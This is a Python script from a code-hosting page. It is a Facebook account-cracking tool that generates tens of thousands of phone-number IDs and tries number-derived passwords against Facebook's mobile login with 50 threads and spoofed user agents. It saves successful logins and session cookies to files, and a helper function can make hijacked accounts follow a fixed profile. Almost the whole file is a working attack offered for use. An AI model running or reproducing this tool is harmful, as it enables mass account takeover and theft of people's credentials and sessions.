-
Notifications
You must be signed in to change notification settings - Fork 3
/
SUMON-DEC.py
268 lines (255 loc) · 12.3 KB
/
SUMON-DEC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
import os,sys,time,json,random,re,string,platform,base64,uuid
os.system("git pull")
from bs4 import BeautifulSoup as sop
from bs4 import BeautifulSoup
import requests as ress
from datetime import date
from datetime import datetime
from time import sleep
from time import sleep as waktu
try:
import requests
from concurrent.futures import ThreadPoolExecutor as ThreadPool
import mechanize
from requests.exceptions import ConnectionError
except ModuleNotFoundError:
os.system('pip install mechanize requests futures bs4==2 > /dev/null')
os.system('pip install bs4')
def cek_apk(session,coki):
w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":coki}).text
sop = BeautifulSoup(w,"html.parser")
x = sop.find("form",method="post")
game = [i.text for i in x.find_all("h3")]
if len(game)==0:
print(f'\\033[1;91m [✔] Sorry there is no Active Apk ')
else:
print(f'\r \033[1;92m[✔] Your Active Apps :{WHITE}' )
for i in range(len(game)):
print(f"\r [%s%s] %s%s"%(N,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N))
w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":coki}).text
sop = BeautifulSoup(w,"html.parser")
x = sop.find("form",method="post")
game = [i.text for i in x.find_all("h3")]
if len(game)==0:
print(f'\\033[1;91m [✔] Sorry there is no Expired Apk\n')
else:
print(f'\\033[1;92m [✔] Your Expired Apps :{WHITE}')
for i in range(len(game)):
print(f"\r[%s%s] %s%s"%(N,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N))
else:
print('')
def follow(self, session, coki):
r = BeautifulSoup(session.get('https://mbasic.facebook.com/profile.php?id=100015315258519', {
'cookie': coki }, **('cookies',)).text, 'html.parser')
get = r.find('a', 'Ikuti', **('string',)).get('href')
session.get('https://mbasic.facebook.com' + str(get), {
'cookie': coki }, **('cookies',)).text
class jalan:
def __init__(self, z):
for e in z + "\n":
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.009)
RED = '\033[1;91m'
WHITE = '\033[1;97m'
GREEN = '\033[1;32m' #
YELLOW = '\033[1;33m'
BLUE = '\033[1;34m'
ORANGE = '\033[1;35m'
P = '\x1b[1;97m' # PUTIH
M = '\x1b[1;91m' # MERAH
H = '\x1b[1;92m' # HIJAU
K = '\x1b[1;93m' # KUNING
B = '\x1b[1;94m' # BIRU
U = '\x1b[1;95m' # UNGU
O = '\x1b[1;96m' # BIRU MUDA
N = '\x1b[0m' # WARNA MATI
A = '\x1b[1;90m' # WARNA ABU ABU
BN = '\x1b[1;107m' # BELAKANG PUTIH
BBL = '\x1b[1;106m' # BELAKANG BIRU LANGIT
BP = '\x1b[1;105m' # BELAKANG PINK
BB = '\x1b[1;104m' # BELAKANG BIRU
BK = '\x1b[1;103m' # BELAKANG KUNING
BH = '\x1b[1;102m' # BELAKANG HIJAU
BM = '\x1b[1;101m' # BELAJANG MERAH
BA = '\x1b[1;100m' # BELAKANG ABU ABU
my_color = [
P, M, H, K, B, U, O, N]
warna = random.choice(my_color)
now = datetime.now()
dt_string = now.strftime("%H:%M")
current = datetime.now()
ta = current.year
bu = current.month
ha = current.day
today = date.today()
logo ="""
\t╔══════════════════════════════════╗
\t║\033[32;1mKG KG \033[33;1mKING \033[37;1mKG KG \033[34;1mKINGKG ║\033[33;1m✮⃝𝐊𝐈𝐍𝐆𝄟⃝
\t║\033[32;1mKG KG \033[33;1mKG \033[37;1mKG# KG \033[34;1mKG KG ║\033[32;1m✮⃝𝐊𝐈𝐍𝐆𝄟⃝
\t║\033[32;1mKG KG \033[33;1mKG \033[37;1mKING KG \033[34;1mKG ║\033[33;1m✮⃝𝐊𝐈𝐍𝐆𝄟⃝
\t║\033[32;1mKING# \033[33;1mKG \033[37;1mKG KG KG \033[34;1mKG KING ║\033[34;1m✮⃝𝐊𝐈𝐍𝐆𝄟⃝
\t║\033[32;1mKG KG \033[33;1mKG \033[37;1mKG KING \033[34;1mKG KG ║\033[35;1m✮⃝𝐊𝐈𝐍𝐆𝄟⃝
\t║\033[32;1mKG KG \033[33;1mKG \033[37;1mKG KG# \033[34;1mKG KG ║\033[36;1m✮⃝𝐊𝐈𝐍𝐆𝄟⃝
\t║\033[32;1mKG KG \033[33;1mKING \033[37;1mKG KG \033[34;1mKINGKG ║\033[37;1m✮⃝𝐊𝐈𝐍𝐆𝄟⃝
\t╚══════════════════════════════════╝
\033[1;39m ┏━━━━━━━━━━━━━━━━━━━\033[38;5;46m𝗞𝗜𝗡𝗚\033[1;39m━━━━━━━━━━━━━━━━━━━━┓
\033[1;39m ┃ \x1b[1;95m❣︎[𖣘]☔︎\x1b[1;96m𝙉𝘼𝙈𝙀\033[1;34m : [★]𝗞𝗜𝗡𝗚 𝗦𝗨𝗠𝗢𝗡\033[1;39m ┃
\033[1;39m ┃ \x1b[1;95m❣︎[𖣘]☔︎\x1b[1;96m𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\033[1;34m : [★]𝗦𝗨𝗠𝗢𝗡 𝗞𝗛𝗔𝗡\033[1;39m ┃
\033[1;39m ┃ \x1b[1;95m❣︎[𖣘]☔︎\x1b[1;96m𝙂𝙄𝙏𝙃𝙐𝘽\033[1;34m : [★]𝗦𝗨𝗠𝗢𝗡-𝗧𝗘𝗥𝗠𝗨𝗫\033[1;39m ┃
\033[1;39m ┃ \x1b[1;95m❣︎[𖣘]☔︎\x1b[1;96m𝙍𝙄𝙇𝙄𝙂𝙀𝙎𝙃𝙊𝙉\033[1;34m : [★]𝗕𝗔𝗡𝗚𝗟𝗔𝗗𝗘𝗦𝗛𝗜\033[1;39m ┃
\033[1;39m ┃ \x1b[1;95m❣︎[𖣘]☔︎\x1b[1;96m𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋\033[1;34m : [★]+𝟴𝟴𝟬𝟭𝟵𝟯𝟵𝟲𝟳𝟯𝟰𝟳𝟳\033[1;39m ┃
\033[1;39m ┃ \x1b[1;95m❣︎[𖣘]☔︎\x1b[1;96m𝙏𝙊𝙊𝙇𝙎 𝙉𝘼𝙈𝙀\033[1;34m : [★]𝗥𝟰𝗡𝗗𝗢𝗡-𝗖𝗟𝗢𝗡𝗜𝗡𝗚\033[1;39m ┃
\033[1;39m ┃ \x1b[1;95m❣︎[𖣘]☔︎\x1b[1;96m𝙏𝙊𝙊𝙇𝙎 𝙎𝙏𝘼𝙏𝙐𝙎\033[1;34m: [★]𝗣𝗥𝗜𝗠𝗜𝗨𝗠\033[1;39m ┃
\033[1;39m ┗━━━━━━━━━━━━━━━━━━━\033[1;31m𝙁𝙄𝙍𝙀\033[1;39m━━━━━━━━━━━━━━━━━━━━┛"""
loop = 0
oks = []
cps = []
def clear():
os.system('clear')
print(logo)
from time import localtime as lt
from os import system as cmd
ltx = int(lt()[3])
if ltx > 12:
a = ltx-12
tag = "PM"
else:
a = ltx
tag = "AM"
try:
print(' \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;92m Loading To Next...')
time.sleep(3)
v = 5.2
update = ('5.2')
update = ('5.2')
if str(v) in update:
os.system('clear')
else:pass
except:print('\n \033[1;91m[\033[1;92m✔\033[1;91m] No internet connection ...')
#global functions
def dynamic(text):
titik = ['. ','.. ','... ','.... ']
for o in titik:
print('\r'+text+o),
sys.stdout.flush();time.sleep(1)
#User agents
ugen2 = []
ugen = []
for xd in range(10000):
aa='Mozilla/5.0 (Linux; U; Android'
b=random.choice(['3','4','5','6','7','8','9','10','11','12','13','14','15','16','17'])
c=' en-us; GT-'
d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
e=random.randrange(1, 999)
f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
h=random.randrange(73,100)
i='0'
j=random.randrange(4200,4900)
k=random.randrange(40,150)
l='Mobile Safari/537.36'
uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}')
ugen.append(uaku2)
# APK CHECK
def xr():
user=[]
twf =[]
os.getuid
os.geteuid
os.system("clear")
print(logo)
print(' \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;93m Example \033[1;91m>>\033[1;92m 0171 \033[1;91m<>\033[1;92m 0175 \033[1;91m<>\033[1;92m 92302 \033[1;91m<>\033[1;92m 92301 \033[1;91m<<')
print('\033[1;94m<><=><=><=><=><=><=><=><=><=><=><=><=><=><=><=><><')
code = input('\n \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;93m Choose \033[1;91m>>\033[1;92m ')
limit = 50000
for nmbr in range(limit):
nmp = ''.join(random.choice(string.digits) for _ in range(7))
user.append(nmp)
os.system("clear")
print(logo)
passx = 0
RimonID = []
print("")
for bilal in range(passx):
pww = 0
RimonID.append(pww)
with ThreadPool(max_workers=50) as manshera:
clear()
tl = str(len(user))
print(' \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;92m YOUR SLECTED SIM \033[1;91m>>\033[1;96m '+code)
print(' \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;92m TOTAL IDS \033[1;91m>>\033[1;93m '+tl)
print(' \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;92m THE PROCESS HAS BEEN STARTED')
print(' \033[1;91m[\033[1;92m✔\033[1;91m]\x1b[38;5;208m USE AEROPLANE MOOD IN EVERY 5 MIN ')
print('\033[1;94m<><=><=><=><=><=><=><=><=><=><=><=><=><=><=><=><><')
for love in user:
pwx = [love[1:]]
uid = code+love
for Eman in RimonID:
pwx.append(Eman)
pwx.append(love)
manshera.submit(rcrack,uid,pwx,tl)
print('\n\033[1;94m<><=><=><=><=><=><=><=><=><=><=><=><=><=><=><=><><')
print(' \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;92m Crack process has been completed')
print(' \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;92m Ids saved in KING/ok.txt,KING/cp.txt')
print('\033[1;94m<><=><=><=><=><=><=><=><=><=><=><=><=><=><=><=><><')
def rcrack(uid,pwx,tl):
#print(user)
global loop
global cps
global oks
global proxy
try:
for ps in pwx:
pro = random.choice(ugen)
session = requests.Session()
free_fb = session.get('https://mbasic.facebook.com').text
log_data = {
"lsd":re.search('name="lsd" value="(.*?)"', str(free_fb)).group(1),
"jazoest":re.search('name="jazoest" value="(.*?)"', str(free_fb)).group(1),
"m_ts":re.search('name="m_ts" value="(.*?)"', str(free_fb)).group(1),
"li":re.search('name="li" value="(.*?)"', str(free_fb)).group(1),
"try_number":"0",
"unrecognized_tries":"0",
"email":uid,
"pass":ps,
"login":"Log In"}
header_freefb = {'authority': 'mbasic.facebook.com',
'method': 'GET',
'scheme': 'https',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'max-age=0',
'sec-ch-ua': '"(Not(A:Brand";v="99", "Chromium";v="111", "Google Chrome";v="111"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'document',
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'none',
'sec-fetch-user': '?1',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5481.223 Safari/537.36',}
lo = session.post('https://mbasic.facebook.com/login/device-based/regular/login/?refsrc',data=log_data,headers=header_freefb).text
log_cookies=session.cookies.get_dict().keys()
if 'c_user' in log_cookies:
coki=";".join([key+"="+value for key,value in session.cookies.get_dict().items()])
cid = coki[65:80]
print(' \n\033[1;97m[\033[1;92mKING-OK\033[1;97m]\033[1;92m ' +uid+ '\033[1;91m<>\033[1;92m' +ps+ '\n \033[1;91m[\033[1;92m✔\033[1;91m]\033[1;92m COOKIES \033[1;91m=\033[1;96m '+coki+'')
open('/sdcard/paid-ok.txt', 'a').write( uid+' | '+ps+'\n')
oks.append(cid)
break
elif 'checkpoint' in log_cookies:
coki=";".join([key+"="+value for key,value in session.cookies.get_dict().items()])
cid = coki[65:80]
#print('[KING-CP] ' +uid+ '|' +ps+ '')
open('/sdcard/paid-cp.txt', 'a').write( uid+' | '+ps+'')
cps.append(cid)
break
else:
continue
loop+=1
sys.stdout.write('\r \033[1;91m[\033[1;97mKING\033[1;91m][\033[1;97m%s\033[1;91m][\033[1;92mOK-%s\033[1;91m]'%(loop,len(oks)))
sys.stdout.flush()
except:
pass
xr()